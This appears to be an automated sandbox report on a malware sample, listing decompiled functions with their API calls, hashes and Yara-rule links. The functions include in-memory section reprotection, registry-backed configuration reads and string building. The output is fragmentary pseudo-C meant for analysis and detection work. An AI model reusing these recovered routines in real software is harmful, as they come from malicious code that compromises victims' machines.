Function 1000111A, Relevance: 6.0, APIs: 4, Instructions: 30
threadCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E1000111A(void* __ecx, char _a4) {
				long _t3;
				int _t4;
				int _t9;
				void* _t13;

				_t13 = GetCurrentThread();
				_t3 = SetThreadAffinityMask(_t13, 1); // executed
				if(_t3 != 0) {
					SetThreadPriority(_t13, 0xffffffff); // executed
				}
				_t4 = E1000163F(_a4); // executed
				_t9 = _t4;
				if(_t9 == 0) {
					SetThreadPriority(_t13, _t4);
				}
				asm("lock xadd [eax], ecx");
				return _t9;
			}

0x10001123
0x10001128
0x10001136
0x1000113b
0x1000113b
0x10001141
0x10001146
0x1000114a
0x1000114e
0x1000114e
0x10001158
0x10001161

APIs

GetCurrentThread.KERNEL32 ref: 1000111D
SetThreadAffinityMask.KERNEL32(00000000,00000001), ref: 10001128
SetThreadPriority.KERNELBASE(00000000,000000FF), ref: 1000113B
SetThreadPriority.KERNEL32(00000000,00000000,?), ref: 1000114E

Memory Dump Source

Source File: 00000001.00000002.474385844.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.474366232.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.474416548.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: Thread$Priority$AffinityCurrentMask
String ID:
API String ID: 1452675757-0
Opcode ID: c35cabef654aae5fe09134992651e52fd0a70a53666a0e792eef5a60e0c71ab1
Instruction ID: 4c0cec3966cfd65f316416e497d44ff5eb1b0779e4299dd3e4543c5f6ab01fef
Opcode Fuzzy Hash: c35cabef654aae5fe09134992651e52fd0a70a53666a0e792eef5a60e0c71ab1
Instruction Fuzzy Hash: 91E092712066216BF302AB294C85EEB679DDF953F0B028225F620D22E8CF659D0286A5

Uniqueness

Uniqueness Score: -1.00%

Function 00A173FD, Relevance: 4.6, APIs: 3, Instructions: 94
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00A173FD(void* __edx) {
				void* _v8;
				int _v12;
				WCHAR* _v16;
				void* __esi;
				void* _t23;
				intOrPtr _t24;
				void* _t26;
				intOrPtr _t32;
				intOrPtr _t35;
				intOrPtr _t38;
				intOrPtr _t42;
				void* _t45;
				void* _t50;
				void* _t55;

				_t50 = __edx;
				_v12 = 0;
				_t23 = E00A1A72D(0,  &_v8); // executed
				if(_t23 != 0) {
					_v8 = 0;
				}
				_t24 =  *0xa1d27c; // 0x271a5a8
				_t4 = _t24 + 0xa1ede0; // 0x3139388
				_t5 = _t24 + 0xa1ed88; // 0x4f0053
				_t26 = E00A11262( &_v16, _v8, _t5, _t4); // executed
				_t45 = _t26;
				if(_t45 == 0) {
					StrToIntExW(_v16, 0,  &_v12);
					_t45 = 8;
					if(_v12 < _t45) {
						_t45 = 1;
						__eflags = 1;
					} else {
						_t32 =  *0xa1d27c; // 0x271a5a8
						_t11 = _t32 + 0xa1edd4; // 0x313937c
						_t48 = _t11;
						_t12 = _t32 + 0xa1ed88; // 0x4f0053
						_t55 = E00A17CB8(_t11, _t12, _t11);
						_t59 = _t55;
						if(_t55 != 0) {
							_t35 =  *0xa1d27c; // 0x271a5a8
							_t13 = _t35 + 0xa1ee1e; // 0x30314549
							if(E00A189D6(_t48, _t50, _t59, _v8, _t55, _t13, 0x14) == 0) {
								_t61 =  *0xa1d25c - 6;
								if( *0xa1d25c <= 6) {
									_t42 =  *0xa1d27c; // 0x271a5a8
									_t15 = _t42 + 0xa1ec2a; // 0x52384549
									E00A189D6(_t48, _t50, _t61, _v8, _t55, _t15, 0x13);
								}
							}
							_t38 =  *0xa1d27c; // 0x271a5a8
							_t17 = _t38 + 0xa1ee18; // 0x31393c0
							_t18 = _t38 + 0xa1edf0; // 0x680043
							_t45 = E00A12659(_v8, 0x80000001, _t55, _t18, _t17);
							HeapFree( *0xa1d238, 0, _t55);
						}
					}
					HeapFree( *0xa1d238, 0, _v16);
				}
				_t54 = _v8;
				if(_v8 != 0) {
					E00A11F99(_t54);
				}
				return _t45;
			}

0x00a173fd
0x00a1740d
0x00a17410
0x00a17417
0x00a17419
0x00a17419
0x00a1741c
0x00a17421
0x00a17428
0x00a17435
0x00a1743a
0x00a1743e
0x00a1744c
0x00a1745a
0x00a1745e
0x00a174ef
0x00a174ef
0x00a17464
0x00a17464
0x00a17469
0x00a17469
0x00a17470
0x00a1747c
0x00a1747e
0x00a17480
0x00a17482
0x00a17489
0x00a1749b
0x00a1749d
0x00a174a4
0x00a174a6
0x00a174ad
0x00a174b8
0x00a174b8
0x00a174a4
0x00a174bd
0x00a174c2
0x00a174c9
0x00a174e7
0x00a174e9
0x00a174e9
0x00a17480
0x00a174fb
0x00a174fb
0x00a174fd
0x00a17502
0x00a17504
0x00a17504
0x00a1750f

APIs

StrToIntExW.SHLWAPI(?,00000000,?,?,004F0053,03139388,00000000,?,74B5F710,00000000,74B5F730), ref: 00A1744C
HeapFree.KERNEL32(00000000,00000000,?,80000001,00000000,00680043,031393C0,?,00000000,30314549,00000014,004F0053,0313937C), ref: 00A174E9
HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,00A16814), ref: 00A174FB

Memory Dump Source

Source File: 00000001.00000002.462301083.0000000000A11000.00000020.00000001.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000001.00000002.462272017.0000000000A10000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462357143.0000000000A1C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.462377364.0000000000A1D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462401527.0000000000A1F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 329941420e801c8ca4c11ed1a3a25c9860589b2af93d8f1587453112058954ba
Instruction ID: 715363dadc82913143779e4c46afa353a80a7e53db510de6a434df60f45e29ba
Opcode Fuzzy Hash: 329941420e801c8ca4c11ed1a3a25c9860589b2af93d8f1587453112058954ba
Instruction Fuzzy Hash: D031C271901108BFEB11DBE4ED85EEE7BBCEF48300F1540A5BA51AB161D7709E85DB90

Uniqueness

Uniqueness Score: -1.00%

Function 00A18504, Relevance: 4.6, APIs: 3, Instructions: 76
memoryCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E00A18504(void* __ecx, char _a4, void** _a8, intOrPtr* _a12, intOrPtr* _a16, intOrPtr* _a20) {
				void* _v8;
				void* __edi;
				intOrPtr _t18;
				void* _t24;
				void* _t30;
				void* _t37;
				void* _t40;
				intOrPtr _t42;

				_t32 = __ecx;
				_push(__ecx);
				_push(__ecx);
				_t42 =  *0xa1d340; // 0x3139928
				_push(0x800);
				_push(0);
				_push( *0xa1d238);
				if( *0xa1d24c >= 5) {
					if(RtlAllocateHeap() == 0) {
						L6:
						_t30 = 8;
						L7:
						if(_t30 != 0) {
							L10:
							 *0xa1d24c =  *0xa1d24c + 1;
							L11:
							return _t30;
						}
						_t44 = _a4;
						_t40 = _v8;
						 *_a16 = _a4;
						 *_a20 = E00A12496(_t44, _t40); // executed
						_t18 = E00A1A66E(_t37, _t40, _t44); // executed
						if(_t18 != 0) {
							 *_a8 = _t40;
							 *_a12 = _t18;
							if( *0xa1d24c < 5) {
								 *0xa1d24c =  *0xa1d24c & 0x00000000;
							}
							goto L11;
						}
						_t30 = 0xbf;
						E00A1A1B0();
						RtlFreeHeap( *0xa1d238, 0, _t40); // executed
						goto L10;
					}
					_t24 = E00A1A279(_a4, _t32, _t37, _t42,  &_v8,  &_a4, _t13);
					L5:
					_t30 = _t24;
					goto L7;
				}
				if(RtlAllocateHeap() == 0) {
					goto L6;
				}
				_t24 = E00A18B94(_a4, _t32, _t37, _t42,  &_v8,  &_a4, _t25); // executed
				goto L5;
			}

0x00a18504
0x00a18507
0x00a18508
0x00a18512
0x00a18519
0x00a1851e
0x00a18520
0x00a18526
0x00a1854e
0x00a18566
0x00a18568
0x00a18569
0x00a1856b
0x00a185a9
0x00a185a9
0x00a185af
0x00a185b5
0x00a185b5
0x00a1856d
0x00a18573
0x00a18576
0x00a18585
0x00a18587
0x00a1858e
0x00a185c2
0x00a185c7
0x00a185c9
0x00a185cb
0x00a185cb
0x00000000
0x00a185c9
0x00a18590
0x00a18595
0x00a185a3
0x00000000
0x00a185a3
0x00a1855d
0x00a18562
0x00a18562
0x00000000
0x00a18562
0x00a18530
0x00000000
0x00000000
0x00a1853f
0x00000000

APIs

RtlAllocateHeap.NTDLL(00000000,00000800,74B5F710), ref: 00A18528

Part of subcall function 00A18B94: GetTickCount.KERNEL32 ref: 00A18BA8
Part of subcall function 00A18B94: wsprintfA.USER32 ref: 00A18BF8
Part of subcall function 00A18B94: wsprintfA.USER32 ref: 00A18C15
Part of subcall function 00A18B94: wsprintfA.USER32 ref: 00A18C41
Part of subcall function 00A18B94: HeapFree.KERNEL32(00000000,?), ref: 00A18C53
Part of subcall function 00A18B94: wsprintfA.USER32 ref: 00A18C74
Part of subcall function 00A18B94: HeapFree.KERNEL32(00000000,?), ref: 00A18C84
Part of subcall function 00A18B94: RtlAllocateHeap.NTDLL(00000000,00000800), ref: 00A18CB2
Part of subcall function 00A18B94: GetTickCount.KERNEL32 ref: 00A18CC3

RtlAllocateHeap.NTDLL(00000000,00000800,74B5F710), ref: 00A18546
RtlFreeHeap.NTDLL(00000000,00000002,00A1685F,?,00A1685F,00000002,?,?,00A12417,?), ref: 00A185A3

Memory Dump Source

Source File: 00000001.00000002.462301083.0000000000A11000.00000020.00000001.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000001.00000002.462272017.0000000000A10000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462357143.0000000000A1C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.462377364.0000000000A1D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462401527.0000000000A1F000.00000002.00000001.sdmp Download File

Similarity

API ID: Heap$wsprintf$AllocateFree$CountTick
String ID:
API String ID: 1676223858-0
Opcode ID: 4679d0643f3ac18469013d429a26b3476d6db3211b8af54c1f899d7c62daf2a0
Instruction ID: 67d6dcb5236f189536db90994adefc1db41594370f126f0e2b872e76117d8864
Opcode Fuzzy Hash: 4679d0643f3ac18469013d429a26b3476d6db3211b8af54c1f899d7c62daf2a0
Instruction Fuzzy Hash: 68215E76201204EFDB11DF95DD84EDA3BBDEB48360F108026F901DB250EB74EA82DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00A13FC3, Relevance: 4.6, APIs: 3, Instructions: 73
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E00A13FC3(void* __eax, char* _a4, char* _a8, intOrPtr _a12, intOrPtr _a16, void** _a20, intOrPtr* _a24) {
				char _v5;
				signed int _v12;
				intOrPtr _v16;
				char _t28;
				void* _t33;
				void* _t38;
				void* _t45;
				char* _t46;
				void* _t48;
				char* _t56;
				char* _t57;
				intOrPtr _t59;
				void* _t60;

				_t56 = _a4;
				_t60 = __eax;
				_v12 = 0xb;
				if(_t56 != 0 && __eax != 0) {
					_t5 = _t60 - 1; // -1
					_t46 =  &(_t56[_t5]);
					_t28 =  *_t46;
					_v5 = _t28;
					 *_t46 = 0;
					__imp__(_a8, _t45);
					_v16 = _t28;
					_t57 = StrStrA(_t56, _a8);
					if(_t57 != 0) {
						 *_t46 = _v5;
						_t33 = RtlAllocateHeap( *0xa1d238, 0, _a16 + _t60); // executed
						_t48 = _t33;
						if(_t48 == 0) {
							_v12 = 8;
						} else {
							_t58 = _t57 - _a4;
							E00A1A8D8(_t57 - _a4, _a4, _t48);
							_t38 = E00A1A8D8(_a16, _a12, _t58 + _t48);
							_t53 = _v16;
							_t59 = _a16;
							E00A1A8D8(_t60 - _t58 - _v16, _t53 + _t58 + _a4, _t38 + _t59);
							 *_a20 = _t48;
							_v12 = _v12 & 0x00000000;
							 *_a24 = _t60 - _v16 + _t59;
						}
					}
				}
				return _v12;
			}

0x00a13fcb
0x00a13fd0
0x00a13fd2
0x00a13fd9
0x00a13feb
0x00a13feb
0x00a13fef
0x00a13ff1
0x00a13ff4
0x00a13ff7
0x00a14000
0x00a1400a
0x00a1400e
0x00a14013
0x00a14023
0x00a14029
0x00a1402d
0x00a1407c
0x00a1402f
0x00a1402f
0x00a14038
0x00a14047
0x00a1404c
0x00a14059
0x00a14062
0x00a1406d
0x00a14074
0x00a14078
0x00a14078
0x00a1402d
0x00a14083
0x00a1408a

APIs

lstrlen.KERNEL32(74B5F710,?,00000000,?,74B5F710), ref: 00A13FF7
StrStrA.SHLWAPI(00000000,?), ref: 00A14004
RtlAllocateHeap.NTDLL(00000000,?), ref: 00A14023

Memory Dump Source

Source File: 00000001.00000002.462301083.0000000000A11000.00000020.00000001.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000001.00000002.462272017.0000000000A10000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462357143.0000000000A1C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.462377364.0000000000A1D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462401527.0000000000A1F000.00000002.00000001.sdmp Download File

Similarity

API ID: AllocateHeaplstrlen
String ID:
API String ID: 556738718-0
Opcode ID: af13d624ae13e9c23b0eb2359c4caf88b4ffdf2c1449c2b79aca62afdc56b8c7
Instruction ID: e1d524bc96e34a7561c7dcbe2581846de864468f077bc4268839822e992feb0a
Opcode Fuzzy Hash: af13d624ae13e9c23b0eb2359c4caf88b4ffdf2c1449c2b79aca62afdc56b8c7
Instruction Fuzzy Hash: FD217C36A00119AFCB01CF6DC884BDEBBB9EF89310F088155E944AB315C775D956CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 10001179, Relevance: 4.6, APIs: 3, Instructions: 68
memoryCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E10001179(void* __eax, void* _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				long _v20;
				int _t43;
				long _t54;
				signed int _t57;
				void* _t58;
				signed int _t60;

				_v12 = _v12 & 0x00000000;
				_t57 =  *0x1000414c;
				_t58 = ( *(__eax + 0x14) & 0x0000ffff) + __eax + 0x18;
				_v16 =  *(__eax + 6) & 0x0000ffff;
				VirtualProtect(_a4,  *(__eax + 0x54), _t57 - 0x63699bbf,  &_v20); // executed
				_v8 = _v8 & 0x00000000;
				if(_v16 <= 0) {
					L12:
					return _v12;
				} else {
					goto L1;
				}
				while(1) {
					L1:
					_t60 = _v12;
					if(_t60 != 0) {
						goto L12;
					}
					asm("bt [esi+0x24], eax");
					if(_t60 >= 0) {
						asm("bt [esi+0x24], eax");
						if(__eflags >= 0) {
							L8:
							_t54 = _t57 - 0x63699bbf;
							L9:
							_t43 = VirtualProtect( *((intOrPtr*)(_t58 + 0xc)) + _a4,  *(_t58 + 8), _t54,  &_v20); // executed
							if(_t43 == 0) {
								_v12 = GetLastError();
							}
							_v8 = _v8 + 1;
							_t58 = _t58 + 0x777fa9b0 + _t57 * 0x28;
							if(_v8 < _v16) {
								continue;
							} else {
								goto L12;
							}
						}
						asm("bt [esi+0x24], eax");
						_t54 = _t57 - 0x63699bc1;
						if(__eflags >= 0) {
							goto L9;
						}
						goto L8;
					}
					asm("bt [esi+0x24], eax");
					if(_t60 >= 0) {
						_t54 = _t57 - 0x63699ba3;
					} else {
						_t54 = _t57 - 0x63699b83;
					}
					goto L9;
				}
				goto L12;
			}

0x10001183
0x10001190
0x10001196
0x100011a2
0x100011b2
0x100011b4
0x100011bc
0x10001251
0x10001258
0x00000000
0x00000000
0x00000000
0x100011c2
0x100011c2
0x100011c2
0x100011c6
0x00000000
0x00000000
0x100011d2
0x100011d6
0x100011fa
0x100011fe
0x10001212
0x10001212
0x10001218
0x10001227
0x1000122b
0x10001233
0x10001233
0x1000123b
0x1000123e
0x1000124b
0x00000000
0x00000000
0x00000000
0x00000000
0x1000124b
0x10001206
0x1000120a
0x10001210
0x00000000
0x00000000
0x00000000
0x10001210
0x100011de
0x100011e2
0x100011ec
0x100011e4
0x100011e4
0x100011e4
0x00000000
0x100011e2
0x00000000

APIs

VirtualProtect.KERNELBASE(00000000,?,?,?), ref: 100011B2
VirtualProtect.KERNELBASE(00000000,?,?,?), ref: 10001227
GetLastError.KERNEL32 ref: 1000122D

Memory Dump Source

Source File: 00000001.00000002.474385844.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.474366232.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.474416548.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: ProtectVirtual$ErrorLast
String ID:
API String ID: 1469625949-0
Opcode ID: 4c066baaf28f8eb37efe3bcb5d7151aded5e51c0cb14aa7ceb28c1f7bbe160c8
Instruction ID: 0668daed04cbb7b664abe494ebfe9c2342c365f2a22d128ebf7293798eb97d5e
Opcode Fuzzy Hash: 4c066baaf28f8eb37efe3bcb5d7151aded5e51c0cb14aa7ceb28c1f7bbe160c8
Instruction Fuzzy Hash: A2217F31801206EFDB04DF95C885AEAF7F5FF44399F018859D50297458E3B8A6A5CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00A13DD9, Relevance: 3.9, APIs: 3, Instructions: 155
stringCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E00A13DD9(void* __eflags, int _a4) {
				intOrPtr _v12;
				WCHAR* _v16;
				char* _v20;
				int _v24;
				void* _v36;
				char _v40;
				char _v68;
				char _v72;
				char _v76;
				char _v80;
				void _v84;
				char _v88;
				void* __ebx;
				void* __esi;
				intOrPtr _t40;
				int _t45;
				intOrPtr _t50;
				intOrPtr _t52;
				void* _t55;
				intOrPtr _t67;
				void* _t70;
				void* _t80;
				WCHAR* _t85;

				_v88 = 0;
				memset( &_v84, 0, 0x2c);
				_v40 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_t40 =  *0xa1d27c; // 0x271a5a8
				_t5 = _t40 + 0xa1ee40; // 0x410025
				_t85 = E00A16A12(_t5);
				_v16 = _t85;
				if(_t85 == 0) {
					_t80 = 8;
					L24:
					return _t80;
				}
				_t45 = StrCmpNIW(_t85, _a4, lstrlenW(_t85)); // executed
				if(_t45 != 0) {
					_t80 = 1;
					L22:
					E00A19039(_v16);
					goto L24;
				}
				if(E00A1A72D(0,  &_a4) != 0) {
					_a4 = 0;
				}
				_t50 = E00A1809F(0,  *0xa1d33c);
				_v12 = _t50;
				if(_t50 == 0) {
					_t80 = 8;
					goto L19;
				} else {
					_t52 =  *0xa1d27c; // 0x271a5a8
					_t11 = _t52 + 0xa1e81a; // 0x65696c43
					_t55 = E00A1809F(0, _t11);
					_t87 = _t55;
					if(_t55 == 0) {
						_t80 = 8;
					} else {
						_t80 = E00A16BFA(_a4, 0x80000001, _v12, _t87,  &_v88,  &_v84);
						E00A19039(_t87);
					}
					if(_t80 != 0) {
						L17:
						E00A19039(_v12);
						L19:
						_t86 = _a4;
						if(_a4 != 0) {
							E00A11F99(_t86);
						}
						goto L22;
					} else {
						if(( *0xa1d260 & 0x00000001) == 0) {
							L14:
							E00A18F83(_t80, _v88, _v84,  *0xa1d270, 0);
							_t80 = E00A11C74(_v88,  &_v80,  &_v76, 0);
							if(_t80 == 0) {
								_v24 = _a4;
								_v20 =  &_v88;
								_t80 = E00A142EA( &_v40, 0);
							}
							E00A19039(_v88);
							goto L17;
						}
						_t67 =  *0xa1d27c; // 0x271a5a8
						_t18 = _t67 + 0xa1e823; // 0x65696c43
						_t70 = E00A1809F(0, _t18);
						_t89 = _t70;
						if(_t70 == 0) {
							_t80 = 8;
						} else {
							_t80 = E00A16BFA(_a4, 0x80000001, _v12, _t89,  &_v72,  &_v68);
							E00A19039(_t89);
						}
						if(_t80 != 0) {
							goto L17;
						} else {
							goto L14;
						}
					}
				}
			}

0x00a13deb
0x00a13dee
0x00a13df5
0x00a13dfb
0x00a13dfc
0x00a13dfd
0x00a13dfe
0x00a13dff
0x00a13e00
0x00a13e08
0x00a13e14
0x00a13e18
0x00a13e1b
0x00a13f6b
0x00a13f6e
0x00a13f72
0x00a13f72
0x00a13e2d
0x00a13e35
0x00a13f5e
0x00a13f5f
0x00a13f62
0x00000000
0x00a13f62
0x00a13e47
0x00a13e49
0x00a13e49
0x00a13e54
0x00a13e5b
0x00a13e5e
0x00a13f4d
0x00000000
0x00a13e64
0x00a13e64
0x00a13e69
0x00a13e72
0x00a13e77
0x00a13e80
0x00a13ea3
0x00a13e82
0x00a13e98
0x00a13e9a
0x00a13e9a
0x00a13ea6
0x00a13f41
0x00a13f44
0x00a13f4e
0x00a13f4e
0x00a13f53
0x00a13f55
0x00a13f55
0x00000000
0x00a13eac
0x00a13eb3
0x00a13ef4
0x00a13f05
0x00a13f1b
0x00a13f1f
0x00a13f24
0x00a13f2a
0x00a13f37
0x00a13f37
0x00a13f3c
0x00000000
0x00a13f3c
0x00a13eb5
0x00a13eba
0x00a13ec3
0x00a13ec8
0x00a13ecc
0x00a13eef
0x00a13ece
0x00a13ee4
0x00a13ee6
0x00a13ee6
0x00a13ef2
0x00000000
0x00000000
0x00000000
0x00000000
0x00a13ef2
0x00a13ea6

APIs

memset.NTDLL ref: 00A13DEE

Part of subcall function 00A16A12: ExpandEnvironmentStringsW.KERNEL32(00000000,00000000,00000000,?,?,00000000,00A13E14,00410025,00000005,?,00000000), ref: 00A16A23
Part of subcall function 00A16A12: ExpandEnvironmentStringsW.KERNEL32(?,00000000,00000000,00000000), ref: 00A16A40

lstrlenW.KERNEL32(00000000,00410025,00000005,?,00000000), ref: 00A13E22
StrCmpNIW.KERNELBASE(00000000,00000000,00000000), ref: 00A13E2D

Memory Dump Source

Source File: 00000001.00000002.462301083.0000000000A11000.00000020.00000001.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000001.00000002.462272017.0000000000A10000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462357143.0000000000A1C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.462377364.0000000000A1D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462401527.0000000000A1F000.00000002.00000001.sdmp Download File

Similarity

API ID: EnvironmentExpandStrings$lstrlenmemset
String ID:
API String ID: 3817122888-0
Opcode ID: e4aefac8e88b313f0a1122bb13404798a6baf72d97e8cdef1c8a090e7950b50e
Instruction ID: da727245fe1c7cb5fd2de7aeb2a9088b098c89ad69f4847f5a57904f302cd3e0
Opcode Fuzzy Hash: e4aefac8e88b313f0a1122bb13404798a6baf72d97e8cdef1c8a090e7950b50e
Instruction Fuzzy Hash: 52414C72A01218AEDF11EFE4CD85DEEBBBDAF08340B008166F905EB151D675DF898B90

Uniqueness

Uniqueness Score: -1.00%

Function 00A17323, Relevance: 3.8, APIs: 3, Instructions: 82
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00A17323(void* __edx, void* _a4, intOrPtr _a8, intOrPtr _a12) {
				int _v12;
				signed int _v16;
				void* _v20;
				signed char _v36;
				void* __ebx;
				void* _t24;
				intOrPtr _t27;
				signed int _t38;
				signed char* _t46;
				void* _t52;
				int _t54;
				void* _t56;
				void* _t57;
				void* _t58;

				_t52 = __edx;
				_v16 = _v16 & 0x00000000;
				_t46 = _a4;
				_t54 = ( *_t46 & 0x000000ff) + 0x90;
				_v12 = 0x90;
				_t24 = E00A12049(_t54);
				_a4 = _t24;
				if(_t24 != 0) {
					memcpy(_t24,  *0xa1d2d4, 0x90);
					_t27 =  *0xa1d2d8; // 0x0
					_t58 = _t57 + 0xc;
					if(_t27 != 0) {
						E00A18F83(_t46, _a4, 0x90, _t27, 0);
					}
					if(E00A1A7C2( &_v36) != 0 && E00A16DE4(0x90, _a4,  &_v20,  &_v12,  &_v36, 0) == 0) {
						_t56 = _v20;
						_v36 =  *_t46;
						_t38 = E00A16F1D(_t56, _a8, _t52, _t46, _a12); // executed
						_v16 = _t38;
						 *(_t56 + 4) = _v36;
						_t20 =  &(_t46[4]); // 0x8b4875fc
						memset(_t56, 0, _v12 - ( *_t20 & 0xf));
						_t58 = _t58 + 0xc;
						E00A19039(_t56);
					}
					memset(_a4, 0, _t54);
					E00A19039(_a4);
				}
				return _v16;
			}

0x00a17323
0x00a17329
0x00a1732e
0x00a1733b
0x00a1733e
0x00a17341
0x00a17348
0x00a1734b
0x00a17359
0x00a1735e
0x00a17363
0x00a17368
0x00a17373
0x00a17373
0x00a17382
0x00a173a5
0x00a173ab
0x00a173b1
0x00a173b9
0x00a173bf
0x00a173c2
0x00a173cf
0x00a173d4
0x00a173d8
0x00a173d8
0x00a173e3
0x00a173ee
0x00a173ee
0x00a173fa

APIs

Part of subcall function 00A12049: RtlAllocateHeap.NTDLL(00000000,00000000,00A17E50), ref: 00A12055

memcpy.NTDLL(00000000,00000090,00000002,00000002,00A1685F,00000008,00A1685F,00A1685F,?,00A1858C,00A1685F), ref: 00A17359
memset.NTDLL ref: 00A173CF
memset.NTDLL ref: 00A173E3

Memory Dump Source

Source File: 00000001.00000002.462301083.0000000000A11000.00000020.00000001.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000001.00000002.462272017.0000000000A10000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462357143.0000000000A1C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.462377364.0000000000A1D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462401527.0000000000A1F000.00000002.00000001.sdmp Download File

Similarity

API ID: memset$AllocateHeapmemcpy
String ID:
API String ID: 1529149438-0
Opcode ID: a107f83d74df2146fd75346c5a6e477575a4d116bb933af60aff5143140422a4
Instruction ID: 605da753019109c1581c0466d31453ba8ee7f151a25f37713237372635a3422c
Opcode Fuzzy Hash: a107f83d74df2146fd75346c5a6e477575a4d116bb933af60aff5143140422a4
Instruction Fuzzy Hash: ED213E76A00218ABDB11EFA5DD41FEEBBB8AF09340F044025F914EB251E734DA91CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00A19152, Relevance: 3.1, APIs: 2, Instructions: 112
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E00A19152(void* __ecx, void* _a4, intOrPtr _a8, char _a12, intOrPtr _a16, char _a20, intOrPtr _a24, intOrPtr* _a28) {
				void* _v8;
				void* __esi;
				intOrPtr* _t35;
				void* _t40;
				intOrPtr* _t41;
				intOrPtr* _t43;
				intOrPtr* _t45;
				intOrPtr* _t50;
				intOrPtr* _t52;
				void* _t54;
				intOrPtr* _t55;
				intOrPtr* _t57;
				intOrPtr* _t61;
				intOrPtr* _t65;
				intOrPtr _t68;
				void* _t72;
				void* _t75;
				void* _t76;

				_t55 = _a4;
				_t35 =  *((intOrPtr*)(_t55 + 4));
				_a4 = 0;
				_t76 =  *((intOrPtr*)( *_t35 + 0x4c))(_t35, _a16, 0,  &_v8, 0, _t72, _t75, _t54, __ecx, __ecx);
				if(_t76 < 0) {
					L18:
					return _t76;
				}
				_t40 = E00A13AEF(_v8, _a8, _a12, _a20,  &_a20,  &_a12); // executed
				_t76 = _t40;
				if(_t76 >= 0) {
					_t61 = _a28;
					if(_t61 != 0 &&  *_t61 != 0) {
						_t52 = _v8;
						_t76 =  *((intOrPtr*)( *_t52 + 0x14))(_t52, _a24, 0, _t61, 0);
					}
					if(_t76 >= 0) {
						_t43 =  *_t55;
						_t68 =  *0xa1d27c; // 0x271a5a8
						_t20 = _t68 + 0xa1e1fc; // 0x740053
						_t76 =  *((intOrPtr*)( *_t43 + 0x60))(_t43, _t20, _a16, 0, 0, _v8,  &_a4, 0);
						if(_t76 >= 0) {
							_t76 = E00A17C14(_a4);
							if(_t76 >= 0) {
								_t65 = _a28;
								if(_t65 != 0 &&  *_t65 == 0) {
									_t50 = _a4;
									_t76 =  *((intOrPtr*)( *_t50 + 0x10))(_t50, _a24, 0, _t65, 0, 0);
								}
							}
						}
						_t45 = _a4;
						if(_t45 != 0) {
							 *((intOrPtr*)( *_t45 + 8))(_t45);
						}
						_t57 = __imp__#6;
						if(_a20 != 0) {
							 *_t57(_a20);
						}
						if(_a12 != 0) {
							 *_t57(_a12);
						}
					}
				}
				_t41 = _v8;
				 *((intOrPtr*)( *_t41 + 8))(_t41);
				goto L18;
			}

0x00a19158
0x00a1915b
0x00a1916b
0x00a19174
0x00a19178
0x00a19246
0x00a1924c
0x00a1924c
0x00a19192
0x00a19197
0x00a1919b
0x00a191a1
0x00a191a6
0x00a191ad
0x00a191bc
0x00a191bc
0x00a191c0
0x00a191c2
0x00a191ce
0x00a191d9
0x00a191e4
0x00a191e8
0x00a191f2
0x00a191f6
0x00a191f8
0x00a191fd
0x00a19204
0x00a19214
0x00a19214
0x00a191fd
0x00a191f6
0x00a19216
0x00a1921b
0x00a19220
0x00a19220
0x00a19226
0x00a1922c
0x00a19231
0x00a19231
0x00a19236
0x00a1923b
0x00a1923b
0x00a19236
0x00a191c0
0x00a1923d
0x00a19243
0x00000000

APIs

Part of subcall function 00A13AEF: SysAllocString.OLEAUT32(80000002), ref: 00A13B46
Part of subcall function 00A13AEF: SysFreeString.OLEAUT32(00000000), ref: 00A13BAB

SysFreeString.OLEAUT32(?), ref: 00A19231
SysFreeString.OLEAUT32(00A11885), ref: 00A1923B

Memory Dump Source

Source File: 00000001.00000002.462301083.0000000000A11000.00000020.00000001.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000001.00000002.462272017.0000000000A10000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462357143.0000000000A1C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.462377364.0000000000A1D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462401527.0000000000A1F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$Free$Alloc
String ID:
API String ID: 986138563-0
